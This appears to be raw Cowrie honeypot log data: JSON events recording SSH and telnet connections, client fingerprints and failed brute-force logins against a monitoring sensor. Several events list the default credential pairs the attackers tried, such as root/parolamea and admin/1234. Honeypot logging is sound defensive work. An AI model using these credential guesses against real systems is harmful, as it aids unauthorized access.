{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:58.913405Z","src_ip":"176.65.139.103","session":"60de80237869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:58.962070Z","src_ip":"80.94.92.182","session":"cd75ce5ec152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:59.313850Z","src_ip":"176.65.139.103","session":"60de80237869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:00.043846Z","src_ip":"103.176.20.115","session":"0ccba8316898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:00.127893Z","src_ip":"80.94.92.182","session":"cd75ce5ec152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:00.421171Z","src_ip":"176.65.139.103","session":"60de80237869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":59088,"dst_ip":"10.17.0.5","dst_port":23,"session":"301f50c2270d","protocol":"telnet","message":"New connection: 213.136.75.179:59088 (10.17.0.5:23) [session: 301f50c2270d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:01.979313Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46908,"dst_ip":"159.203.135.109","dst_port":22,"session":"83912e7bd77f","protocol":"ssh","message":"New connection: 159.203.92.129:46908 (159.203.135.109:22) [session: 83912e7bd77f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:04.429861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:04.434696Z","src_ip":"159.203.92.129","session":"83912e7bd77f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:04.439359Z","src_ip":"159.203.92.129","session":"83912e7bd77f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anpr","password":"123456","message":"login attempt [anpr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:04.452073Z","src_ip":"159.203.92.129","session":"83912e7bd77f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:05.458363Z","src_ip":"159.203.92.129","session":"83912e7bd77f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39788,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39e7e71516e","protocol":"ssh","message":"New connection: 176.65.139.103:39788 (10.17.0.5:22) [session: e39e7e71516e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:06.552623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:06.557784Z","src_ip":"176.65.139.103","session":"e39e7e71516e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:06.641728Z","src_ip":"176.65.139.103","session":"e39e7e71516e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:07.038755Z","src_ip":"176.65.139.103","session":"e39e7e71516e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:08.210459Z","src_ip":"176.65.139.103","session":"e39e7e71516e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44164,"dst_ip":"10.17.0.5","dst_port":23,"session":"5279042183e2","protocol":"telnet","message":"New connection: 213.136.75.179:44164 (10.17.0.5:23) [session: 5279042183e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:12.678731Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44180,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0de1d2bee71","protocol":"telnet","message":"New connection: 213.136.75.179:44180 (10.17.0.5:23) [session: b0de1d2bee71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:13.264781Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35602,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ebeed45381b","protocol":"ssh","message":"New connection: 176.65.139.103:35602 (10.17.0.5:22) [session: 1ebeed45381b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:13.691592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:13.696429Z","src_ip":"176.65.139.103","session":"1ebeed45381b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:13.781622Z","src_ip":"176.65.139.103","session":"1ebeed45381b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:14.033950Z","src_ip":"176.65.139.103","session":"1ebeed45381b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.437716960906982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:14.295178Z","src_ip":"213.136.75.179","session":"7078a3716e1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:15.137846Z","src_ip":"176.65.139.103","session":"1ebeed45381b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.56868052482605,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:15.521129Z","src_ip":"213.136.75.179","session":"7ebe2b8e6ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35658,"dst_ip":"10.17.0.5","dst_port":22,"session":"8743e0123e07","protocol":"ssh","message":"New connection: 176.65.139.103:35658 (10.17.0.5:22) [session: 8743e0123e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:20.816962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:20.822408Z","src_ip":"176.65.139.103","session":"8743e0123e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:20.904892Z","src_ip":"176.65.139.103","session":"8743e0123e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:21.154306Z","src_ip":"176.65.139.103","session":"8743e0123e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":51146,"dst_ip":"10.17.0.5","dst_port":23,"session":"a01c4616b9fb","protocol":"telnet","message":"New connection: 213.136.75.179:51146 (10.17.0.5:23) [session: a01c4616b9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:21.384532Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:22.276816Z","src_ip":"176.65.139.103","session":"8743e0123e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.66663694381714,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:26.332856Z","src_ip":"213.136.75.179","session":"6290a79fc92e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45408,"dst_ip":"10.17.0.5","dst_port":22,"session":"81fe5ed65eb2","protocol":"ssh","message":"New connection: 176.65.139.103:45408 (10.17.0.5:22) [session: 81fe5ed65eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:27.854039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:27.858495Z","src_ip":"176.65.139.103","session":"81fe5ed65eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:27.941718Z","src_ip":"176.65.139.103","session":"81fe5ed65eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:28.205415Z","src_ip":"176.65.139.103","session":"81fe5ed65eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:29.291050Z","src_ip":"176.65.139.103","session":"81fe5ed65eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33010,"dst_ip":"10.17.0.5","dst_port":23,"session":"63c8218fd560","protocol":"telnet","message":"New connection: 213.136.75.179:33010 (10.17.0.5:23) [session: 63c8218fd560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:33.937424Z"}
{"eventid":"cowrie.session.closed","duration":32.281426668167114,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:34.260590Z","src_ip":"213.136.75.179","session":"301f50c2270d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52826,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b5fa586c27","protocol":"ssh","message":"New connection: 176.65.139.103:52826 (10.17.0.5:22) [session: 37b5fa586c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:34.537854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:34.543284Z","src_ip":"176.65.139.103","session":"37b5fa586c27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:34.629487Z","src_ip":"176.65.139.103","session":"37b5fa586c27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:34.914636Z","src_ip":"176.65.139.103","session":"37b5fa586c27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":53073,"dst_ip":"10.17.0.5","dst_port":22,"session":"67160423f14a","protocol":"ssh","message":"New connection: 52.231.220.210:53073 (10.17.0.5:22) [session: 67160423f14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:35.809935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:46:35.814614Z","src_ip":"52.231.220.210","session":"67160423f14a","protocol":"ssh"}
